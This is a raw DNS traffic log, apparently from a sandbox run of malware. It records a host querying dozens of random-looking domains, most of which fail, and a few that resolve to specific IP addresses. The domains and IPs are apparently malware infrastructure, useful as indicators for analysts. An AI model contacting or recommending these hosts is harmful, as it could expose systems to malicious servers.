Sep 8, 2024 08:42:49.965514898 CEST	192.168.2.5	1.1.1.1	0x307f	Standard query (0)	ghasw.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:50.150654078 CEST	192.168.2.5	1.1.1.1	0x7b33	Standard query (0)	ghasw.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:50.497494936 CEST	192.168.2.5	1.1.1.1	0x2115	Standard query (0)	qhoeke.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:50.520988941 CEST	192.168.2.5	1.1.1.1	0xbe1c	Standard query (0)	qhoeke.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:50.669224977 CEST	192.168.2.5	1.1.1.1	0xaa97	Standard query (0)	fksip.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:51.843972921 CEST	192.168.2.5	1.1.1.1	0x5635	Standard query (0)	cqaksdcu.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:53.107990980 CEST	192.168.2.5	1.1.1.1	0xc8a7	Standard query (0)	qiuejbupkgseq.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:53.143847942 CEST	192.168.2.5	1.1.1.1	0x284a	Standard query (0)	qiuejbupkgseq.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:53.293205976 CEST	192.168.2.5	1.1.1.1	0x4a0c	Standard query (0)	yioarynvt.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:53.362493992 CEST	192.168.2.5	1.1.1.1	0xc505	Standard query (0)	yioarynvt.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:53.575330019 CEST	192.168.2.5	1.1.1.1	0xe40c	Standard query (0)	eosjbokmzqus.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:53.764640093 CEST	192.168.2.5	1.1.1.1	0x2f01	Standard query (0)	eosjbokmzqus.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:54.121514082 CEST	192.168.2.5	1.1.1.1	0x9299	Standard query (0)	zqewkpe.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:54.240328074 CEST	192.168.2.5	1.1.1.1	0xeb78	Standard query (0)	zqewkpe.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:54.355874062 CEST	192.168.2.5	1.1.1.1	0x5af5	Standard query (0)	uclgw.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:55.497256041 CEST	192.168.2.5	1.1.1.1	0x8467	Standard query (0)	oigamwo.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:56.652996063 CEST	192.168.2.5	1.1.1.1	0x2fa3	Standard query (0)	wssym.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:56.701868057 CEST	192.168.2.5	1.1.1.1	0xc409	Standard query (0)	wssym.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:56.857542992 CEST	192.168.2.5	1.1.1.1	0xf97	Standard query (0)	cepgcqyuyucv.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:58.021795988 CEST	192.168.2.5	1.1.1.1	0x595e	Standard query (0)	xaamz.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:59.168844938 CEST	192.168.2.5	1.1.1.1	0xce86	Standard query (0)	aapssh.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:59.207670927 CEST	192.168.2.5	1.1.1.1	0x9ea8	Standard query (0)	aapssh.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:59.325871944 CEST	192.168.2.5	1.1.1.1	0xb561	Standard query (0)	abdsnph.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:59.361114979 CEST	192.168.2.5	1.1.1.1	0x5719	Standard query (0)	abdsnph.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:42:59.496635914 CEST	192.168.2.5	1.1.1.1	0x72c	Standard query (0)	nzxakig.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:00.659216881 CEST	192.168.2.5	1.1.1.1	0x8457	Standard query (0)	xwryugzqw.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:00.827600002 CEST	192.168.2.5	1.1.1.1	0xae65	Standard query (0)	xwryugzqw.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:01.109647036 CEST	192.168.2.5	1.1.1.1	0xdc27	Standard query (0)	xigocgy.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:01.276820898 CEST	192.168.2.5	1.1.1.1	0x59c6	Standard query (0)	xigocgy.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:01.559621096 CEST	192.168.2.5	1.1.1.1	0x574	Standard query (0)	chgosmq.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:02.699471951 CEST	192.168.2.5	1.1.1.1	0xb02b	Standard query (0)	kkjaozypkgge.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:02.955038071 CEST	192.168.2.5	1.1.1.1	0xb02b	Standard query (0)	kkjaozypkgge.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:03.045058012 CEST	192.168.2.5	1.1.1.1	0x40d8	Standard query (0)	kkjaozypkgge.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:03.293086052 CEST	192.168.2.5	1.1.1.1	0x40d8	Standard query (0)	kkjaozypkgge.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:03.481518030 CEST	192.168.2.5	1.1.1.1	0x2639	Standard query (0)	dmfiqwfdvkd.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:03.574357986 CEST	192.168.2.5	1.1.1.1	0x4f70	Standard query (0)	dmfiqwfdvkd.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:03.715420961 CEST	192.168.2.5	1.1.1.1	0x3742	Standard query (0)	uuziwis.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:03.923721075 CEST	192.168.2.5	1.1.1.1	0x88ea	Standard query (0)	uuziwis.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:04.074495077 CEST	192.168.2.5	1.1.1.1	0xb0aa	Standard query (0)	lswadrkcxgrow.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:05.233510971 CEST	192.168.2.5	1.1.1.1	0x96ab	Standard query (0)	igwfozqiylay.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:06.387094021 CEST	192.168.2.5	1.1.1.1	0xe126	Standard query (0)	kwssua.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:06.399075031 CEST	192.168.2.5	1.1.1.1	0x604d	Standard query (0)	kwssua.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:06.512212038 CEST	192.168.2.5	1.1.1.1	0x60fa	Standard query (0)	qtucu.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:06.527442932 CEST	192.168.2.5	1.1.1.1	0xb950	Standard query (0)	qtucu.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:06.652592897 CEST	192.168.2.5	1.1.1.1	0xcbc9	Standard query (0)	qnlmfbgkgis.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:06.860263109 CEST	192.168.2.5	1.1.1.1	0x602c	Standard query (0)	qnlmfbgkgis.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:07.152681112 CEST	192.168.2.5	1.1.1.1	0x7ec9	Standard query (0)	irqmyes.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:08.277532101 CEST	192.168.2.5	1.1.1.1	0x9a93	Standard query (0)	zeqzwwmbkeyi.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:08.527277946 CEST	192.168.2.5	1.1.1.1	0x9a93	Standard query (0)	zeqzwwmbkeyi.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:08.816467047 CEST	192.168.2.5	1.1.1.1	0xb51a	Standard query (0)	zeqzwwmbkeyi.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:08.996267080 CEST	192.168.2.5	1.1.1.1	0x7375	Standard query (0)	kzeukmotcfym.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:09.061537027 CEST	192.168.2.5	1.1.1.1	0x4f32	Standard query (0)	kzeukmotcfym.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:09.199476957 CEST	192.168.2.5	1.1.1.1	0xbd31	Standard query (0)	ungghigcsoc.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:10.511965036 CEST	192.168.2.5	1.1.1.1	0x1fd6	Standard query (0)	omkegitgypmeg.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:10.685630083 CEST	192.168.2.5	1.1.1.1	0x484c	Standard query (0)	omkegitgypmeg.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:10.965240002 CEST	192.168.2.5	1.1.1.1	0x8114	Standard query (0)	qmkiaqaceawnmk.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:11.150469065 CEST	192.168.2.5	1.1.1.1	0xc716	Standard query (0)	qmkiaqaceawnmk.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:11.452822924 CEST	192.168.2.5	1.1.1.1	0xf168	Standard query (0)	cewisyjayokwi.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:11.481831074 CEST	192.168.2.5	1.1.1.1	0xbe24	Standard query (0)	cewisyjayokwi.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:11.605748892 CEST	192.168.2.5	1.1.1.1	0x1df	Standard query (0)	qiavpomk.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:11.712048054 CEST	192.168.2.5	1.1.1.1	0x77f3	Standard query (0)	qiavpomk.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:11.949947119 CEST	192.168.2.5	1.1.1.1	0x77f3	Standard query (0)	qiavpomk.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:12.061275005 CEST	192.168.2.5	1.1.1.1	0xc64f	Standard query (0)	ostkhqaiupo.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:12.308904886 CEST	192.168.2.5	1.1.1.1	0xc64f	Standard query (0)	ostkhqaiupo.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:12.338140965 CEST	192.168.2.5	1.1.1.1	0xa37a	Standard query (0)	ostkhqaiupo.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:12.465112925 CEST	192.168.2.5	1.1.1.1	0x11bd	Standard query (0)	aqugchauqckaw.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:12.517420053 CEST	192.168.2.5	1.1.1.1	0x8f6	Standard query (0)	aqugchauqckaw.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:12.761782885 CEST	192.168.2.5	1.1.1.1	0x8f6	Standard query (0)	aqugchauqckaw.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:12.933948040 CEST	192.168.2.5	1.1.1.1	0x7199	Standard query (0)	cmepmsjke.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:14.074522972 CEST	192.168.2.5	1.1.1.1	0xdd0c	Standard query (0)	ovuoyeswesuko.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:14.126616955 CEST	192.168.2.5	1.1.1.1	0x5747	Standard query (0)	ovuoyeswesuko.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:14.373743057 CEST	192.168.2.5	1.1.1.1	0x5747	Standard query (0)	ovuoyeswesuko.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:14.500030994 CEST	192.168.2.5	1.1.1.1	0xfbab	Standard query (0)	glmnq.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:14.746027946 CEST	192.168.2.5	1.1.1.1	0xfbab	Standard query (0)	glmnq.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:14.997948885 CEST	192.168.2.5	1.1.1.1	0xa53c	Standard query (0)	glmnq.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:15.121546984 CEST	192.168.2.5	1.1.1.1	0x7e84	Standard query (0)	kkraxlrbejnyc.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:16.247159958 CEST	192.168.2.5	1.1.1.1	0x8019	Standard query (0)	nlmfgma.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:16.424500942 CEST	192.168.2.5	1.1.1.1	0xeb57	Standard query (0)	nlmfgma.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:16.700201988 CEST	192.168.2.5	1.1.1.1	0x4828	Standard query (0)	tssqyewcgzqwl.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:16.964684010 CEST	192.168.2.5	1.1.1.1	0x4828	Standard query (0)	tssqyewcgzqwl.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:17.098675013 CEST	192.168.2.5	1.1.1.1	0x76e0	Standard query (0)	tssqyewcgzqwl.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:17.324572086 CEST	192.168.2.5	1.1.1.1	0xc75f	Standard query (0)	slmcftxsown.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:18.512810946 CEST	192.168.2.5	1.1.1.1	0x1831	Standard query (0)	kancwyakaesake.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:18.535146952 CEST	192.168.2.5	1.1.1.1	0x671d	Standard query (0)	kancwyakaesake.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:18.652584076 CEST	192.168.2.5	1.1.1.1	0x52f4	Standard query (0)	ksxariaikud.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:18.664037943 CEST	192.168.2.5	1.1.1.1	0x6216	Standard query (0)	ksxariaikud.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:18.902684927 CEST	192.168.2.5	1.1.1.1	0x6216	Standard query (0)	ksxariaikud.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:19.043250084 CEST	192.168.2.5	1.1.1.1	0x1a51	Standard query (0)	kkkgxco.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:19.299762011 CEST	192.168.2.5	1.1.1.1	0x1a51	Standard query (0)	kkkgxco.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:19.979741096 CEST	192.168.2.5	1.1.1.1	0x9c05	Standard query (0)	kkkgxco.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:20.215226889 CEST	192.168.2.5	1.1.1.1	0x9c05	Standard query (0)	kkkgxco.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:20.424293995 CEST	192.168.2.5	1.1.1.1	0xb357	Standard query (0)	yymav.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:21.559297085 CEST	192.168.2.5	1.1.1.1	0x86b5	Standard query (0)	hygwtwsknlqlue.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:21.778548002 CEST	192.168.2.5	1.1.1.1	0x388f	Standard query (0)	hygwtwsknlqlue.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:21.982611895 CEST	192.168.2.5	1.1.1.1	0x7286	Standard query (0)	evqxaweeokokk.ws	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:23.387270927 CEST	192.168.2.5	1.1.1.1	0x1c38	Standard query (0)	frcemoxpooyys.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:23.586378098 CEST	192.168.2.5	1.1.1.1	0xee66	Standard query (0)	frcemoxpooyys.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:23.824004889 CEST	192.168.2.5	1.1.1.1	0xee66	Standard query (0)	frcemoxpooyys.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:24.074414968 CEST	192.168.2.5	1.1.1.1	0xc1f2	Standard query (0)	wntkaiqyxxz.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:24.290165901 CEST	192.168.2.5	1.1.1.1	0x803e	Standard query (0)	wntkaiqyxxz.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:24.402740955 CEST	192.168.2.5	1.1.1.1	0x4104	Standard query (0)	mzeemghiq.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:24.652730942 CEST	192.168.2.5	1.1.1.1	0x4104	Standard query (0)	mzeemghiq.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:24.754201889 CEST	192.168.2.5	1.1.1.1	0x7eec	Standard query (0)	mzeemghiq.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:25.000003099 CEST	192.168.2.5	1.1.1.1	0x7eec	Standard query (0)	mzeemghiq.mp	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:25.705336094 CEST	192.168.2.5	1.1.1.1	0x3a33	Standard query (0)	sglbwemuihmlf.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:25.949300051 CEST	192.168.2.5	1.1.1.1	0x3a33	Standard query (0)	sglbwemuihmlf.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:26.127429008 CEST	192.168.2.5	1.1.1.1	0x4362	Standard query (0)	sglbwemuihmlf.tk	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:26.386965990 CEST	192.168.2.5	1.1.1.1	0x4340	Standard query (0)	goece.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:26.583883047 CEST	192.168.2.5	1.1.1.1	0xaf72	Standard query (0)	goece.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:26.747114897 CEST	192.168.2.5	1.1.1.1	0x7a5c	Standard query (0)	zaasnvseiocq.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:27.902604103 CEST	192.168.2.5	1.1.1.1	0x26dc	Standard query (0)	nisugdcg.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:29.028089046 CEST	192.168.2.5	1.1.1.1	0xfbdc	Standard query (0)	trpnqzwuuuy.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:30.278156042 CEST	192.168.2.5	1.1.1.1	0x6696	Standard query (0)	kffjuu.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:30.304913998 CEST	192.168.2.5	1.1.1.1	0x6e08	Standard query (0)	kffjuu.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:30.528409004 CEST	192.168.2.5	1.1.1.1	0xcf4f	Standard query (0)	gxkki.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:30.561263084 CEST	192.168.2.5	1.1.1.1	0x793	Standard query (0)	gxkki.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:30.669234037 CEST	192.168.2.5	1.1.1.1	0x7ded	Standard query (0)	kwyto.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:30.690063953 CEST	192.168.2.5	1.1.1.1	0x77ac	Standard query (0)	kwyto.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:30.871231079 CEST	192.168.2.5	1.1.1.1	0x55ce	Standard query (0)	qvgefqwiz.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:31.097690105 CEST	192.168.2.5	1.1.1.1	0x28e1	Standard query (0)	qvgefqwiz.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:31.324980974 CEST	192.168.2.5	1.1.1.1	0xde	Standard query (0)	axlgjmc.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:31.365047932 CEST	192.168.2.5	1.1.1.1	0x8302	Standard query (0)	axlgjmc.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:31.480657101 CEST	192.168.2.5	1.1.1.1	0x7b55	Standard query (0)	xxtgm.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:32.590007067 CEST	192.168.2.5	1.1.1.1	0x1e51	Standard query (0)	mkivc.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:32.840421915 CEST	192.168.2.5	1.1.1.1	0x1e51	Standard query (0)	mkivc.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:32.932279110 CEST	192.168.2.5	1.1.1.1	0xa30e	Standard query (0)	mkivc.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:33.043240070 CEST	192.168.2.5	1.1.1.1	0x1d	Standard query (0)	xgsyhs.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:34.139221907 CEST	192.168.2.5	1.1.1.1	0x206f	Standard query (0)	iwrmmckgysisu.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:34.376632929 CEST	192.168.2.5	1.1.1.1	0xf38e	Standard query (0)	iwrmmckgysisu.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:34.621104956 CEST	192.168.2.5	1.1.1.1	0xf38e	Standard query (0)	iwrmmckgysisu.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:34.825320005 CEST	192.168.2.5	1.1.1.1	0x5865	Standard query (0)	awxkchscu.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:34.917084932 CEST	192.168.2.5	1.1.1.1	0xa4f5	Standard query (0)	awxkchscu.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:35.157670021 CEST	192.168.2.5	1.1.1.1	0xa4f5	Standard query (0)	awxkchscu.rw	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:35.513284922 CEST	192.168.2.5	1.1.1.1	0x16df	Standard query (0)	iajqusne.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:35.761709929 CEST	192.168.2.5	1.1.1.1	0x16df	Standard query (0)	iajqusne.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:35.829164982 CEST	192.168.2.5	1.1.1.1	0xafb7	Standard query (0)	iajqusne.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:35.965019941 CEST	192.168.2.5	1.1.1.1	0xb107	Standard query (0)	weasqlu.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:36.223300934 CEST	192.168.2.5	1.1.1.1	0xb107	Standard query (0)	weasqlu.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:36.289127111 CEST	192.168.2.5	1.1.1.1	0x83f2	Standard query (0)	weasqlu.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:36.402627945 CEST	192.168.2.5	1.1.1.1	0xc3d3	Standard query (0)	uwbse.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:36.646478891 CEST	192.168.2.5	1.1.1.1	0x5be1	Standard query (0)	uwbse.cm	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:36.918190956 CEST	192.168.2.5	1.1.1.1	0xe941	Standard query (0)	gkuipnocxq.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:36.955957890 CEST	192.168.2.5	1.1.1.1	0xda8f	Standard query (0)	gkuipnocxq.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:37.090250015 CEST	192.168.2.5	1.1.1.1	0x86a9	Standard query (0)	ookesj.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:37.107093096 CEST	192.168.2.5	1.1.1.1	0x4dc7	Standard query (0)	ookesj.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:37.215099096 CEST	192.168.2.5	1.1.1.1	0xaf17	Standard query (0)	lgggysueya.vg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:38.340955973 CEST	192.168.2.5	1.1.1.1	0x8db5	Standard query (0)	tczoykwyy.ph	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:39.652523994 CEST	192.168.2.5	1.1.1.1	0xc2d3	Standard query (0)	qhsgqwesqkmty.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:39.686629057 CEST	192.168.2.5	1.1.1.1	0x7572	Standard query (0)	qhsgqwesqkmty.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:39.824421883 CEST	192.168.2.5	1.1.1.1	0x34b2	Standard query (0)	wqagw.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:39.856405973 CEST	192.168.2.5	1.1.1.1	0x6c32	Standard query (0)	wqagw.st	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:39.994911909 CEST	192.168.2.5	1.1.1.1	0x6954	Standard query (0)	mwbcifuclio.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:40.006764889 CEST	192.168.2.5	1.1.1.1	0xfbca	Standard query (0)	mwbcifuclio.nu	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:40.105967045 CEST	192.168.2.5	1.1.1.1	0x5de2	Standard query (0)	uxakw.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:40.355518103 CEST	192.168.2.5	1.1.1.1	0x5de2	Standard query (0)	uxakw.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:40.366712093 CEST	192.168.2.5	1.1.1.1	0xb2c	Standard query (0)	uxakw.kr	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:40.465233088 CEST	192.168.2.5	1.1.1.1	0x5a63	Standard query (0)	ekzggkvhyuhcq.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:40.714895964 CEST	192.168.2.5	1.1.1.1	0x5a63	Standard query (0)	ekzggkvhyuhcq.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:40.743489981 CEST	192.168.2.5	1.1.1.1	0xb790	Standard query (0)	ekzggkvhyuhcq.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:41.030167103 CEST	192.168.2.5	1.1.1.1	0xb790	Standard query (0)	ekzggkvhyuhcq.cg	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:43:41.282067060 CEST	192.168.2.5	1.1.1.1	0x8dfa	Standard query (0)	yulxrzcirsmje.ws	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 8, 2024 08:39:38.798706055 CEST	1.1.1.1	192.168.2.5	0x7be9	Name error (3)	iwqkinetikcv.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:38.850657940 CEST	1.1.1.1	192.168.2.5	0xa450	Name error (3)	iwqkinetikcv.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:39.847997904 CEST	1.1.1.1	192.168.2.5	0xaf11	Name error (3)	pkejap.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:40.100202084 CEST	1.1.1.1	192.168.2.5	0xd19f	Name error (3)	pkejap.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:40.398109913 CEST	1.1.1.1	192.168.2.5	0x3bf6	Name error (3)	guldcp.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:40.604711056 CEST	1.1.1.1	192.168.2.5	0x9d64	Name error (3)	guldcp.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:40.724688053 CEST	1.1.1.1	192.168.2.5	0x8295	No error (0)	xvmiuqwa.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:40.785078049 CEST	1.1.1.1	192.168.2.5	0x4ef4	No error (0)	utbidet-ugeas.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:40.785078049 CEST	1.1.1.1	192.168.2.5	0x4ef4	No error (0)	utbidet-ugeas.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:41.548849106 CEST	1.1.1.1	192.168.2.5	0xb4c3	No error (0)	utbidet-ugeas.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:41.548849106 CEST	1.1.1.1	192.168.2.5	0xb4c3	No error (0)	utbidet-ugeas.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:42.228456020 CEST	1.1.1.1	192.168.2.5	0xcfa0	Name error (3)	wiqcrsiquexjra.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:42.259517908 CEST	1.1.1.1	192.168.2.5	0xab47	Name error (3)	wiqcrsiquexjra.st	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:42.389400959 CEST	1.1.1.1	192.168.2.5	0x479a	No error (0)	wimgtxamm.ph		45.79.222.138	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:43.817120075 CEST	1.1.1.1	192.168.2.5	0x1421	Name error (3)	erykeemmgke.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:43.833395004 CEST	1.1.1.1	192.168.2.5	0x9065	Name error (3)	erykeemmgke.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:43.974406958 CEST	1.1.1.1	192.168.2.5	0xaa56	No error (0)	hucdyujmukfsx.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 8, 2024 08:39:45.125264883 CEST	1.1.1.1	192.168.2.5	0x8241	No error (0)	saoucywmfc.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
